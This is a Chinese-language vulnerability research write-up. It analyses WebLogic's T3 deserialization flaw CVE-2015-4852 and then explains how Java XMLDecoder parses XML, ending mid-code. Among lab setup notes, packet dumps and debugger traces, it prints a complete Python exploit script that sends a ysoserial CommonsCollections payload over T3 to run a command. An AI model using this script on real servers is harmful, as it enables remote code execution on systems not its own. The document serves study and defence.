Weblogic系列

Weblogic

WebLogic是Oracle公司开发的领先企业级Java应用服务器,全面支持Java EE规范,涵盖EJB、JPA、JMS、JNDI等核心组件。它提供了高可用性、安全性和可扩展性的特性,包括集群、负载均衡、故障转移、用户身份验证、SSL/TLS加密等,确保应用程序在高并发和大规模环境下的稳定运行。WebLogic还具备强大的管理和监控功能,如WebLogic Admin Console和WLST脚本工具,同时支持与Oracle数据库、Oracle Coherence等进行无缝集成,简化了开发、调试和部署过程,为企业级应用提供一个强大的平台。

环境搭建

参考了CVE-2015-4852 WebLogic T3 反序列化分析 | Drunkbaby’s Blog (drun1baby.top)

使用奇安信 A-team 的脚本

脚本链接:https://github.com/QAX-A-Team/WeblogicEnvironment

下载对应版本的 JDK 和 Weblogic 然后分别放在 jdks 和 weblogics 中

JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html

Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html

由于CentOS Linux 8已于 2021年12月31日停止更新和维护,由于CentOS 团队从官方镜像中移除CentOS 8的所有包,所以在使用yum源安装或更新会报误。我们要修改Dockerfile文件修改一句代码

1
2
3
4
5
6
7
RUN yum -y install libnsl

修改成如下

RUN sed -i 's|^mirrorlist=|#mirrorlist=|g' /etc/yum.repos.d/CentOS-* && \
sed -i 's|^#baseurl=http://mirror.centos.org|baseurl=http://mirrors.aliyun.com|g' /etc/yum.repos.d/CentOS-* && \
yum -y install libnsl

修改之后运行就不会报错了,也可以用vulhub的环境。

获得wlserver_10.3压缩包(由于当时环境搭建失败,又换了一次vulhub搭建,所以我的wlserver_10.3是从vulhub中搭建的环境下载的)

然后把wlserver_10.3文件取到另一个机子上(我weblogic环境在kali上,那么要把该文件夹取到物理机windows上),把wlserver_10.3/server/lib文件夹添加到库里

image-20240908232508526

在idea配置远程调试环境。

image-20240908232357377

T3协议相关

CVE-2015-4852

用CVE-2015-4852来学习T3协议的反序列化漏洞。

先附上攻击脚本,CommonsCollections是weblogic的基础包,可以选择cc链反序列化攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import socket
import sys
import struct
import re
import subprocess
import binascii
import time

def get_payload1(gadget, command):
JAR_FILE = './ysoserial.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()

def get_payload2(path):
with open(path, "rb") as f:
return f.read()

def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

handshake = "t3 10.3.1\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)

time.sleep(0.5)

data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return


print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)

if __name__ == "__main__":
host = "192.168.147.131"
port = 7001
gadget = "CommonsCollections1" #CommonsCollections1 Jdk7u21
command = "whoami"

payload = get_payload1(gadget, command)

exp(host, port, payload)

用wireshark抓取整个攻击过程的流量包

image-20240908233051861

T3协议是weblogic用于通信的协议,类似于RMI的JRMP,JRMP协议是rmi默认使用的协议,而T3协议是weblogic独有的协议,weblogic对RMI规范的实现使用了T3协议(rmi默认使用 JRMP协议)。T3协议被优化用于高性能的应用场景,特别是在大量并发连接和高负载的环境下。它通过减少网络开销和提高数据传输效率来提升整体性能。

T3协议结构分为分为请求头和请求体。

请求头就是第一个红色数据包,然后服务器会返回一些信息,其中包括了weblogic的版本。

而攻击的主体部分请求体,其数据包大致分为如下结构。图片来自z_zz_zzz文章

pic

可以看到wireshark的攻击数据流确实是这样。

image-20240908234937203

漏洞影响版本

Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3

漏洞分析

从数据包的两次发送分别来看

第一次交互
1
2
3
4
5
6
7
8
9
10
发送数据
t3 10.3.1
AS:255
HL:19
MS:10000000

接收数据
HELO:10.3.6.0.false
AS:2048
HL:19

image-20240909020056074

SocketMuxer#readReadySocketOnce中会调用MuxableSocketDiscriminator#isMessageComplete方法,遍历handlers,根据请求头来判断用哪一种协议的处理器handler。一共支持五种协议IIOPT3LDAPSNMPHTTP,这里自然识别的是T3协议。因此把T3协议的处理器handler的索引赋值给claimedIndex

image-20240909014933444

然后进入MuxableSocketDiscriminator#dispatch,首先就是获取当前协议,然后用maybeFilter()方法过滤一下,然后根据当前的 claimedIndex,从 handlers 数组中获取对应的处理器,并调用 createSocket() 方法创建 MuxableSocket 对象。

image-20240909020920527

然后判断消息是否发送完成,如果消息已经完整,则调用 dispatch() 方法进行分发。这是已经根据上面t3处理器得到处理t3协议MuxableSocket

image-20240909021101863

一路跟到MuxableSocketT3#dispatch中,这段代码的核心逻辑是通过 bootstrapped 标志来区分处理引导消息和正常消息的过程。首次调用时会进行引导消息的处理,之后的调用则直接将消息传递给连接对象。那么我们的请求头是属于引导消息,进入if之后,会读取引导信息,然后设置bootstrapped属性为true,下一次发送的消息就是进入else继续dispatch分发处理。

image-20240909021610029

第二次交互
1
2
3
4
5
6
7
8
9
10
发送数据
.....e............i...`....N..]...{_..Mz.x...M...mg.ysr.xr.xr.xp...
.............pppppp...
.............p.........sr.2sun.reflect.annotation.AnnotationInvocationHandlerU.....~....L..memberValuest..Ljava/util/Map;L..typet..Ljava/lang/Class;xps}.....
java.util.Mapxr..java.lang.reflect.Proxy.'. ..C....L..ht.%Ljava/lang/reflect/InvocationHandler;xpsq.~..sr.*org.apache.commons.collections.map.LazyMapn....y.....L..factoryt.,Lorg/apache/commons/collections/Transformer;xpsr.:org.apache.commons.collections.functors.ChainedTransformer0...(z.....[.
iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L. iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t.
getRuntimeur..[Ljava.lang.Class;......Z....xp....t. getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp....t..whoamit..execuq.~......q.~.#sq.~..sr..java.lang.Integer.......8...I..valuexr..java.lang.Number...........xp....sr..java.util.HashMap......`....F.
loadFactorI. thresholdxp?@......w.........xxvr..java.lang.Override...........xpq.~.:

无接收消息

断点可以达到我们第一次交互结束的else语句里面,处理的网络数据块chunk和抓取的数据包一样。

image-20240909022257269

进入MsgAbbrevJVMConnection#dispatch,里面会调用MsgAbbrevInputStream#init方法初始化输入流。我们反序列化漏洞就是初始化输入流产生的问题。

首先调用super.init(chunk, 4),最终前4字节被skip掉。然后调用readHeader方法读取头部信息

关于头部信息的含义,来自Weblogic安全漫谈(一)

cmd字节应该是指代通信类型,可以从weblogic/rjvm/JVMMessage类中的变量名看出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>static final byte CMD_UNDEFINED = 0;
>static final byte CMD_IDENTIFY_REQUEST = 1;
>static final byte CMD_IDENTIFY_RESPONSE = 2;
>static final byte CMD_REQUEST_CLOSE = 11;
>static final byte CMD_IDENTIFY_REQUEST_CSHARP = 12;
>static final byte CMD_IDENTIFY_RESPONSE_CSHARP = 13;
>static final byte CMD_NO_ROUTE_IDENTIFY_REQUEST = 9;
>static final byte CMD_TRANSLATED_IDENTIFY_RESPONSE = 10;
>static final byte CMD_PEER_GONE = 3;
>static final byte CMD_ONE_WAY = 4;
>static final byte CMD_REQUEST = 5;
>static final byte CMD_RESPONSE = 6;
>static final byte CMD_ERROR_RESPONSE = 7;
>static final byte CMD_INTERNAL = 8;

没猜到QOS字节的含义,类初始化时被赋为十进制101,所以EXP同样用了这个值。

flags字节从后面getFlag方法可以看出用来从二进制位控制hasJVMIDshasTXhasTrace(类比Linux的rwx权限与777)。

responseId字节用于标识通信顺序、invokeableId字节用于标识被调用的方法,目前用不到置为初始值-1。

abbrevOffset字节顾名思义是abbrev的偏移长度,表示Header结尾处 相距 后面字节流MsgAbbrevs部分的距离,在init方法中会被skip掉,EXP中直接赋0表示没有额外的数据需要跳过。

第二次skip掉86个字节,加上前面4个,一共skip掉90个字节。

image-20240909023745466

那么蓝色光标部分就被skip掉了,剩下的数据就是从fe010000开始,这正是weblogic反序列化数据标志,而后续aced0005又正是序列化数据的开头,接下来就是处理反序列化数据的内容了。

image-20240909024147147

进入到MsgAbbrevJVMConnection#readMsgAbbrevs方法中,会调用InboundMsgAbbrev#read方法,

调用 var1.readLength() 方法,读取一个整数 var3,表示后续需要处理的对象数量,使用 for 循环,遍历每个对象。在每次循环中,调用 var1.readLength() 方法,读取一个整数 var5,表示当前对象的长度或缩略符索引。如果 var5 大于缩略符处理器的容量,则直接读取对象并获取其缩略符,然后将对象存入内部数据结构;否则,通过缩略符索引还原对象并存入内部数据结构。

要进入readObject分支,就需要var5 > var2.getCapacity()。var5固定等于256,var2.getCapacity()是第一次交互中发送的数据中AS的值,我们当时设置的是255,满足条件,可以进入readObject。

image-20240909030727153

跟到ObjectInputStream#readOrdinaryObject中,先进入readCLassDesc方法。

image-20240909033150565

一路跟进至 InboundMsgAbbrev#resolveClass(),这时var1使我们cc链的触发类。

image-20240909032035019

跟进,这里会Class.forName加载这个类。

image-20240909032124262

然后回到ObjectInputStream#readOrdinaryObject中,把加载的AnnotationInvocationHandler类初始化一个出来。然后调用readSerialData方法还原。

image-20240909033210511

反射调用AnnotationInvocationHandler#readObject,当然肯定不是这个AnnotationInvocationHandler对象了,因为这个时候里面的属性还都是null,有兴趣可以自己调试一下,由于第二天有早八先不调了,后面有精力再补,后续就是cc链了。然后到命令执行。

image-20240909033512760

修复

官方修复如下,通过黑名单限制的。

img

XMLDecoder相关

XMLEncoder 和 XMLDecoder

XMLEncoder 和 XMLDecoder 是 Java 的两个类,用于将 Java 对象序列化为 XML 格式以及从 XML 格式反序列化为 Java 对象。这两个类属于 java.beans 包,提供了一种将对象的状态以 XML 格式保存和恢复的机制,方便进行数据交换和持久化处理。

XMLEncoder

XMLEncoder 类用于将 Java 对象及其状态序列化为 XML 格式。以下是使用 XMLEncoder 的基本步骤:

  1. 创建 XMLEncoder 对象:通常使用一个 OutputStream(如 FileOutputStream)来创建 XMLEncoder 对象。
  2. 写入对象:通过调用 writeObject 方法将对象写入到 XML 编码流中。
  3. 关闭编码器:完成写入后,调用 close 方法关闭编码器并释放资源。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.beans.XMLEncoder;
import java.io.FileOutputStream;
import java.io.IOException;

public class XMLEncoderExample {
public static void main(String[] args) {
try (FileOutputStream fos = new FileOutputStream("object.xml");
XMLEncoder encoder = new XMLEncoder(fos)) {
// 创建一个示例对象
MyObject obj = new MyObject("example", 123);
// 序列化对象到 XML
encoder.writeObject(obj);
} catch (IOException e) {
e.printStackTrace();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class MyObject {  // 确保类是 public 的
private String name;
private int value;

// 无参构造函数必须是 public
public MyObject() {
}

// 带参构造函数
public MyObject(String name, int value) {
this.name = name;
this.value = value;
}

// 所有 getter 和 setter 方法必须是 public
public String getName() {
System.out.println("getName方法被调用");
return name;
}

public void setName(String name) {
System.out.println("setName方法被调用");
this.name = name;
}

public int getValue() {
System.out.println("getValue方法被调用");
return value;
}

public void setValue(int value) {
System.out.println("setValue方法被调用");
this.value = value;
}
}

运行得到如下xml文件

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_65" class="java.beans.XMLDecoder">
<object class="MyObject">
<void property="name">
<string>example</string>
</void>
<void property="value">
<int>123</int>
</void>
</object>
</java>

同时控制台输出如下

1
2
3
4
5
6
7
getName方法被调用
getName方法被调用
setName方法被调用
getValue方法被调用
getValue方法被调用
getValue方法被调用
setValue方法被调用

XMLDecoder

XMLDecoder 类用于从 XML 格式反序列化回 Java 对象。以下是使用 XMLDecoder 的基本步骤:

  1. 创建 XMLDecoder 对象:通常使用一个 InputStream(如 FileInputStream)来创建 XMLDecoder 对象。
  2. 读取对象:通过调用 readObject 方法从 XML 编码流中读取对象。
  3. 关闭解码器:完成读取后,调用 close 方法关闭解码器并释放资源。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.beans.XMLDecoder;
import java.io.FileInputStream;
import java.io.IOException;

public class XMLDecoderExample {
public static void main(String[] args) {
try (FileInputStream fis = new FileInputStream("object.xml");
XMLDecoder decoder = new XMLDecoder(fis)) {
// 反序列化对象
MyObject obj = (MyObject) decoder.readObject();
System.out.println("Name: " + obj.getName());
System.out.println("Value: " + obj.getValue());
} catch (IOException e) {
e.printStackTrace();
}
}
}

运行控制台输出如下

1
2
3
4
5
6
setName方法被调用
setValue方法被调用
getName方法被调用
Name: example
getValue方法被调用
Value: 123

通过 XMLEncoder 和 XMLDecoder,可以方便地将 Java 对象的状态持久化为 XML 文件,并在需要时恢复这些对象。

XML 本身是一种非常灵活的标记语言,允许用户定义自己的标签和属性。因此,XML 没有预定义的 “所有” 属性标签。但是,在特定的 XML 架构或标准中,如 java.beans.XMLEncoderjava.beans.XMLDecoder 使用的 XML 格式,有一些特定的标签和属性是常用的。

常见的 XML 标签和属性

1. XML 声明

1
<?xml version="1.0" encoding="UTF-8"?>

标签和属性:

  • version: 指定 XML 版本。
  • encoding: 指定编码方式。

2. 根元素 <java>

1
<java version="1.8.0_241" class="java.beans.XMLDecoder">

标签和属性:

  • java: 根元素,包含整个 XML 文件结构。
  • version: 指定 Java 版本。
  • class: 指定用于解析的 Java 类。

3. 对象元素 <object>

1
2
3
<object class="com.example.MyObject">
<!-- 子元素 -->
</object>

标签和属性:

  • object: 表示一个 Java 对象。
  • class: 指定对象的类名。

4. 属性设置 <void>

1
2
3
<void property="name">
<string>example</string>
</void>

标签和属性:

  • void: 用于调用方法(特别是 setter 方法)。
  • property: 指定要设置的属性名称。

5. 基本数据类型

  • <string>: 表示一个字符串值。

    1
    <string>example</string>
  • <int>: 表示一个整数值。

    1
    <int>123</int>
  • <boolean>: 表示一个布尔值。

    1
    <boolean>true</boolean>
  • <float>: 表示一个浮点值。

    1
    <float>3.14</float>
  • <double>: 表示一个双精度浮点值。

    1
    <double>6.28</double>
  • <long>: 表示一个长整数值。

    1
    <long>1234567890</long>
  • <short>: 表示一个短整数值。

    1
    <short>123</short>
  • <char>: 表示一个字符值。

    1
    <char>A</char>

6. 数组和集合

  • <array>: 表示一个数组。

    1
    2
    3
    4
    5
    <array class="int[]">
    <int>1</int>
    <int>2</int>
    <int>3</int>
    </array>
  • <list>: 表示一个列表。

    1
    2
    3
    4
    <list>
    <string>item1</string>
    <string>item2</string>
    </list>
  • <map>: 表示一个映射(键值对)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <map>
    <entry>
    <string>key1</string>
    <string>value1</string>
    </entry>
    <entry>
    <string>key2</string>
    <string>value2</string>
    </entry>
    </map>

7. 方法调用

  • <void method="methodName">: 表示调用任意方法。

    1
    2
    3
    <void method="someMethod">
    <int>10</int>
    </void>

8. Null 值

  • <null>: 表示一个 null 值。

    1
    <null/>

XMLDecoder解析流程分析(可不看)

参考了p1g3师傅的文章,但是文章在p牛的知识星球,并且没有找到公开文章链接。感兴趣可以加入p牛知识星球搜索Weblogic XMLDecoder。

用下面这段分析正常xml文件的解析流程

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_65" class="java.beans.XMLDecoder">
<object class="MyObject">
<void property="name">
<string>example</string>
</void>
<void property="value">
<int>123</int>
</void>
</object>
</java>

反序列化成对象的代码片段

1
2
3
4
5
6
7
8
9
10
11
public class XMLDecoderExample {
public static void main(String[] args) {
try (FileInputStream fis = new FileInputStream("object.xml");
XMLDecoder decoder = new XMLDecoder(fis)) {
// 反序列化对象
MyObject obj = (MyObject) decoder.readObject();
} catch (IOException e) {
e.printStackTrace();
}
}
}

想获取xml文件输入流,然后作为参数初始化一个XMLDecoder对象,接着调用这个对象的readObject方法开始反序列化。其中调用parsingComplete()方法解析相关内容,如果返回结果为true,就会将array数组中的对象返回除了,也就是从xml文件中反序列化出来的对象,否则,返回null。

1
2
3
4
5
6
public Object readObject() {
return (parsingComplete())
? this.array[this.index++]
: null;
}

进入parsingComplete()方法,有一些判断语句,我们看一下this(原代码中初始化的XMLDecoder)对象中的数据。

image-20240910001404857

我们要反序列化的xml文件的文件输入流在this.input中。通过得到的数据,很容易判断,会一路来到AccessController.doPrivileged语句中。
然后使用 AccessController.doPrivileged 在特权模式下执行解析操作。这段代码创建一个匿名 PrivilegedAction 实现,并在其中调用 XMLDecoder.this.handler.parse(XMLDecoder.this.input),启动解析过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private boolean parsingComplete() {
if (this.input == null) {
return false;
}
if (this.array == null) {
if ((this.acc == null) && (null != System.getSecurityManager())) {
throw new SecurityException("AccessControlContext is not set");
}
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
XMLDecoder.this.handler.parse(XMLDecoder.this.input);
return null;
}
}, this.acc);
this.array = this.handler.getObjects();
}
return true;
}

来到DocumentHandler#parse方法中,可以看到,这里主要是使用了 SAXParserFactory 创建 SAXParser 实例(Simple API for XML 解析器),并使用 parse 方法解析传入的 input,而我们xml相关数据就在input中。我们跟进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public void parse(final InputSource input) {
if ((this.acc == null) && (null != System.getSecurityManager())) {
throw new SecurityException("AccessControlContext is not set");
}
AccessControlContext stack = AccessController.getContext();
SharedSecrets.getJavaSecurityAccess().doIntersectionPrivilege(new PrivilegedAction<Void>() {
public Void run() {
try {
SAXParserFactory.newInstance().newSAXParser().parse(input, DocumentHandler.this);
}
catch (ParserConfigurationException exception) {
handleException(exception);
}
catch (SAXException wrapper) {
Exception exception = wrapper.getException();
if (exception == null) {
exception = wrapper;
}
handleException(exception);
}
catch (IOException exception) {
handleException(exception);
}
return null;
}
}, stack, this.acc);
}

来到SAXParserImpl#parse,首先,它检查输入源也就是我们前面提到的input。接下来,如果提供了处理器 DefaultHandler,则将其设置为 xmlReader 的内容处理器、实体解析器、错误处理器和 DTD 处理器,同时取消设置旧的文档处理器。

DefaultHandler里面封装了很多标签对应的Handler

image-20240910010438656

最后,使用 xmlReader 解析输入源input

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void parse(InputSource is, DefaultHandler dh)
throws SAXException, IOException {
if (is == null) {
throw new IllegalArgumentException();
}
if (dh != null) {
xmlReader.setContentHandler(dh);
xmlReader.setEntityResolver(dh);
xmlReader.setErrorHandler(dh);
xmlReader.setDTDHandler(dh);
xmlReader.setDocumentHandler(null);
}
xmlReader.parse(is);
}

进入xmlReader.parse(is),也就是重构的SAXParserImpl#parse。这里if的判断不通过,我们不会进入if语句。直接进入super.parse(inputSource)

1
2
3
4
5
6
7
8
9
10
11
public void parse(InputSource inputSource)
throws SAXException, IOException {
if (fSAXParser != null && fSAXParser.fSchemaValidator != null) {
if (fSAXParser.fSchemaValidationManager != null) {
fSAXParser.fSchemaValidationManager.reset();
fSAXParser.fUnparsedEntityHandler.reset();
}
resetSchemaValidator();
}
super.parse(inputSource);
}

来到AbstractSAXParser#parse,首先创建一个新的 XMLInputSource 对象,传入 InputSource 的公共标识符(Public ID)和系统标识符(System ID),第三个参数为 null,表示没有基础 URI。然后从 InputSource 获取字节流、字符流和编码信息,并设置到 XMLInputSource 对象中。这样可以确保所有必要的流和编码信息都被传递给 XMLInputSource。随后,接着调用重构的parse方法解析刚刚创建xmlInputSource

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public void parse(InputSource inputSource)
throws SAXException, IOException {

// parse document
try {
XMLInputSource xmlInputSource =
new XMLInputSource(inputSource.getPublicId(),
inputSource.getSystemId(),
null);
xmlInputSource.setByteStream(inputSource.getByteStream());
xmlInputSource.setCharacterStream(inputSource.getCharacterStream());
xmlInputSource.setEncoding(inputSource.getEncoding());
parse(xmlInputSource);
}

// wrap XNI exceptions as SAX exceptions
......

} // parse(InputSource)

这里重构的parse方法,实现是在父类的父类中,即XMLParse#parse。这里初始化了一些安全相关的配置,并重置了解析器的状态。然后调用配置对象的解析方法XML11Configuration#parse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public void parse(XMLInputSource inputSource)
throws XNIException, IOException {
// null indicates that the parser is called directly, initialize them
if (securityManager == null) {
securityManager = new XMLSecurityManager(true);
fConfiguration.setProperty(Constants.SECURITY_MANAGER, securityManager);
}
if (securityPropertyManager == null) {
securityPropertyManager = new XMLSecurityPropertyManager();
fConfiguration.setProperty(Constants.XML_SECURITY_PROPERTY_MANAGER, securityPropertyManager);
}

reset();
fConfiguration.parse(inputSource);

}

来到XML11Configuration#parse,调用 setInputSource(source) 方法设置输入源,并调用 parse(true) 方法进行实际的解析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void parse(XMLInputSource source) throws XNIException, IOException {

if (fParseInProgress) {
// REVISIT - need to add new error message
throw new XNIException("FWK005 parse may not be called while parsing.");
}
fParseInProgress = true;

try {
setInputSource(source);
parse(true);
}
......
}

到重构的XML11Configuration#parse中,方法首先检查 fInputSource 是否为非空,如果是,则重置验证管理器和版本检测器,更新配置状态,并根据文档的版本初始化相关的解析组件。具体来说,如果是 XML 1.1 版本,则初始化 XML 1.1 组件并配置相关管道,否则配置默认管道。接着调用 fVersionDetector.startDocumentParsing 方法开始解析文档,并将 fInputSource 设为 null。在后续的 try 块中,调用 fCurrentScanner.scanDocument(complete) 方法进行实际的文档扫描,并返回扫描结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public boolean parse(boolean complete) throws XNIException, IOException {
//
// reset and configure pipeline and set InputSource.
if (fInputSource != null) {
try {
fValidationManager.reset();
fVersionDetector.reset(this);
fConfigUpdated = true;
resetCommon();

short version = fVersionDetector.determineDocVersion(fInputSource);
if (version == Constants.XML_VERSION_1_1) {
initXML11Components();
configureXML11Pipeline();
resetXML11();
} else {
configurePipeline();
reset();
}

// mark configuration as fixed
fConfigUpdated = false;

// resets and sets the pipeline.
fVersionDetector.startDocumentParsing((XMLEntityHandler) fCurrentScanner, version);
fInputSource = null;
}
......
}

try {
return fCurrentScanner.scanDocument(complete);
}
......
}

我们跟进fCurrentScanner.scanDocument(complete),也就是XMLDocumentFragmentScannerImpl#scanDocument这段代码通过一个事件驱动的机制来解析XML内容,并调用相应的回调方法来处理不同类型的XML事件。具体来说,这个方法通过一个事件循环来获取和处理XML事件,具体的解析工作在 next() 方法中完成,scanDocument 方法用于处理这些解析后的事件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
public boolean scanDocument(boolean complete)
throws IOException, XNIException {

// keep dispatching "events"
fEntityManager.setEntityHandler(this);
//System.out.println(" get Document Handler in NSDocumentHandler " + fDocumentHandler );

int event = next();
do {
switch (event) {
case XMLStreamConstants.START_DOCUMENT :
//fDocumentHandler.startDocument(fEntityManager.getEntityScanner(),fEntityManager.getEntityScanner().getVersion(),fNamespaceContext,null);// not able to get
break;
case XMLStreamConstants.START_ELEMENT :
//System.out.println(" in scann element");
//fDocumentHandler.startElement(getElementQName(),fAttributes,null);
break;
case XMLStreamConstants.CHARACTERS :
fDocumentHandler.characters(getCharacterData(),null);
break;
case XMLStreamConstants.SPACE:
//check if getCharacterData() is the right function to retrieve ignorableWhitespace information.
//System.out.println("in the space");
//fDocumentHandler.ignorableWhitespace(getCharacterData(), null);
break;
case XMLStreamConstants.ENTITY_REFERENCE :
//entity reference callback are given in startEntity
break;
case XMLStreamConstants.PROCESSING_INSTRUCTION :
fDocumentHandler.processingInstruction(getPITarget(),getPIData(),null);
break;
case XMLStreamConstants.COMMENT :
//System.out.println(" in COMMENT of the XMLNSDocumentScannerImpl");
fDocumentHandler.comment(getCharacterData(),null);
break;
case XMLStreamConstants.DTD :
//all DTD related callbacks are handled in DTDScanner.
//1. Stax doesn't define DTD states as it does for XML Document.
//therefore we don't need to take care of anything here. So Just break;
break;
case XMLStreamConstants.CDATA:
fDocumentHandler.startCDATA(null);
//xxx: check if CDATA values comes from getCharacterData() function
fDocumentHandler.characters(getCharacterData(),null);
fDocumentHandler.endCDATA(null);
//System.out.println(" in CDATA of the XMLNSDocumentScannerImpl");
break;
case XMLStreamConstants.NOTATION_DECLARATION :
break;
case XMLStreamConstants.ENTITY_DECLARATION :
break;
case XMLStreamConstants.NAMESPACE :
break;
case XMLStreamConstants.ATTRIBUTE :
break;
case XMLStreamConstants.END_ELEMENT :
//do not give callback here.
//this callback is given in scanEndElement function.
//fDocumentHandler.endElement(getElementQName(),null);
break;
default :
throw new InternalError("processing event: " + event);

}
//System.out.println("here in before calling next");
event = next();
//System.out.println("here in after calling next");
} while (event!=XMLStreamConstants.END_DOCUMENT && complete);

if(event == XMLStreamConstants.END_DOCUMENT) {
fDocumentHandler.endDocument(null);
return false;
}

return true;

} // scanDocument(boolean):boolean

跟进next()方法到XMLDocumentScannerImpl$XMLDeclDriver#next(),首先无论文档中是否有XML声明,下一个驱动器设置为fPrologDriver,因此下次进入fDriver.next()方法就在其他类中。即PrologDriver中的next方法。从当前内部类的类名可以大致理解,这是用来扫xml文档相关内容的,也就是xml文件第一句<?xml version="1.0" encoding="UTF-8"?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
//XMLDocumentScannerImpl
public int next() throws IOException, XNIException {
return fDriver.next();
}

//XMLDocumentScannerImpl$XMLDeclDriver
public int next() throws IOException, XNIException {
if(DEBUG_NEXT){
System.out.println("NOW IN XMLDeclDriver");
}

// next driver is prolog regardless of whether there
// is an XMLDecl in this document
setScannerState(SCANNER_STATE_PROLOG);
setDriver(fPrologDriver);

//System.out.println("fEntityScanner = " + fEntityScanner);
// scan XMLDecl
try {
if (fEntityScanner.skipString(xmlDecl)) {
fMarkupDepth++;
// NOTE: special case where document starts with a PI
// whose name starts with "xml" (e.g. "xmlfoo")
if (XMLChar.isName(fEntityScanner.peekChar())) {
fStringBuffer.clear();
fStringBuffer.append("xml");
while (XMLChar.isName(fEntityScanner.peekChar())) {
fStringBuffer.append((char)fEntityScanner.scanChar());
}
String target = fSymbolTable.addSymbol(fStringBuffer.ch, fStringBuffer.offset, fStringBuffer.length);
//this function should fill the data.. and set the fEvent object to this event.
fContentBuffer.clear() ;
scanPIData(target, fContentBuffer);
//REVISIT:where else we can set this value to 'true'
fEntityManager.fCurrentEntity.mayReadChunks = true;
//return PI event since PI was encountered
return XMLEvent.PROCESSING_INSTRUCTION ;
}
// standard XML declaration
else {
scanXMLDeclOrTextDecl(false);
//REVISIT:where else we can set this value to 'true'
fEntityManager.fCurrentEntity.mayReadChunks = true;
return XMLEvent.START_DOCUMENT;
}
} else{
//REVISIT:where else we can set this value to 'true'
fEntityManager.fCurrentEntity.mayReadChunks = true;
//In both case return the START_DOCUMENT. ony difference is that first block will
//cosume the XML declaration if any.
return XMLEvent.START_DOCUMENT;
}


//START_OF_THE_DOCUMENT


}

// premature end of file
catch (EOFException e) {
reportFatalError("PrematureEOF", null);
return -1;
//throw e;
}

}

image-20240911104226797

然后回到scanDocument方法做后续处理,这里没有处理直接break跳出switch-catch语句然后调用下一个驱动器PrologDrivernext方法。

这段代码比较长,我们根据处于的状态拆出对应的case代码来看。xml头在上一步已经解析了,所以这里我们要解析的部分是

1
2
3
4
5
6
7
8
9
10
<java version="1.8.0_65" class="java.beans.XMLDecoder">
<object class="MyObject">
<void property="name">
<string>example</string>
</void>
<void property="value">
<int>123</int>
</void>
</object>
</java>

这个解析过程是通过状态机完成的,每个状态代表解析过程中的一个特定阶段。我们来看代码是如何解析的。

首先,解析器在初始化时处于 SCANNER_STATE_PROLOG 状态。

1
2
3
4
5
6
7
8
9
10
11
case SCANNER_STATE_PROLOG: {
fEntityScanner.skipSpaces();
if (fEntityScanner.skipChar('<')) {
setScannerState(SCANNER_STATE_START_OF_MARKUP);
} else if (fEntityScanner.skipChar('&')) {
setScannerState(SCANNER_STATE_REFERENCE);
} else {
